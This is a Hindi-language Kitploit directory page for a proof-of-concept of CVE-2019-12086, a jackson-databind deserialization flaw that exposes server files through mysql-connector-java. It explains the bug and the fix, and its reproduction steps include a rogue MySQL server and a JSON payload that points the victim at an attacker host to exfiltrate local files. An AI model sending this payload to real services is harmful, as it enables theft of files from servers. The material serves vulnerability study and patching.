Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2019-12086-jackson-databind-file-read | Kitploit
उपकरण/GitHubGitHub/motoyasu-saburi/cve-2019-12086-jackson-databind-file-read
भेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणपेनिट्रेशन टेस्टिंग
GitHubmotoyasu-saburi/cve-2019-12086-jackson-databind-file-read

CVE-2019-12086-jackson-databind-file-read

रिपॉजिटरी देखें

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
1217 साल पहलेअभी तक समीक्षित नहीं

jackson-CVE-2019-12086

भेद्यता विवरण

जब Default Typing सक्षम होती है, और classpath में mysql-connector-java 8.0.15 (2019.2.1 को जारी) या उससे नीचे के संस्करण मौजूद होते हैं, तो हमलावर दुर्भावनापूर्ण json डेटा भेजकर मनमानी फ़ाइलें पढ़ सकता है। mysql-connector-java लाइब्रेरी डेटाबेस से कनेक्ट करने के लिए सामान्यतः उपयोग होने वाला mysql jdbc है।

CVE विवरण निम्नलिखित है:

FasterXML jackson-databind 2.x में 2.9.9 से पहले एक Polymorphic Typing समस्या पाई गई। जब किसी बाहरी रूप से उजागर JSON endpoint के लिए Default Typing (वैश्विक रूप से या किसी विशेष property के लिए) सक्षम होती है, सेवा के classpath में mysql-connector-java jar (8.0.14 या उससे पहले) होता है, और एक हमलावर पीड़ित के लिए पहुंच योग्य एक क्राफ्टेड MySQL सर्वर होस्ट कर सकता है, तो हमलावर एक क्राफ्टेड JSON संदेश भेज सकता है जो उन्हें सर्वर पर मनमानी स्थानीय फ़ाइलें पढ़ने की अनुमति देता है। यह com.mysql.cj.jdbc.admin.MiniAdmin सत्यापन की कमी के कारण होता है।

भेद्यता विश्लेषण

भेद्यता विवरण:

  1. जब Default Typing सक्षम होती है, तो jackson json को deserialize करते समय निर्दिष्ट class को deserialize कर सकता है, और इस class के constructor पैरामीटर के मान के रूप में एक basic type का मान निर्दिष्ट कर सकता है।
  2. com.mysql.cj.jdbc.admin.MiniAdmin का constructor एक string मान स्वीकार करता है, यह मान jdbcURL का प्रतिनिधित्व करता है, com.mysql.cj.jdbc.admin.MiniAdmin class initialization के समय इस jdbcURL में निर्दिष्ट MySQL डेटाबेस से कनेक्ट होता है।
  3. mysql-connector-java 8.0.15 (2019.2.1 को जारी) या उससे नीचे के संस्करण में, दुर्भावनापूर्ण MySQL सर्वर MySQL क्लाइंट की मनमानी स्थानीय फ़ाइलें पढ़ सकता है, जिससे भेद्यता उत्पन्न होती है।

भेद्यता पुनरुत्पादन

  1. दुर्भावनापूर्ण MySQL सर्वर प्रारंभ करें: https://github.com/allyshka/Rogue-MySql-Server/blob/master/rogue_mysql_server.py

python rogue_mysql_server.py

  1. उसी निर्देशिका में mysql.log देखें:

tail -f mysql.log

  1. भेद्यता वाले एप्लिकेशन को निम्नलिखित json भेजें:

["com.mysql.cj.jdbc.admin.MiniAdmin","jdbc:mysql://attacker_server:port/foo"]

  1. जब jackson दुर्भावनापूर्ण json स्ट्रिंग को deserialize करता है, तो यह दुर्भावनापूर्ण MySQL सर्वर से कनेक्ट होता है, और पढ़ी गई फ़ाइल की सामग्री दुर्भावनापूर्ण सर्वर के mysql.log में लिखी जाती है।
root@kitploit:~
# edit IP & Port at the payload  "./volume/src/main/java/poc/Main.java".
$ docker build . 

भेद्यता समाधान

jackson को 2.9.9 या उससे ऊपर के संस्करण में अपग्रेड करें।

टूल डाउनलोड करें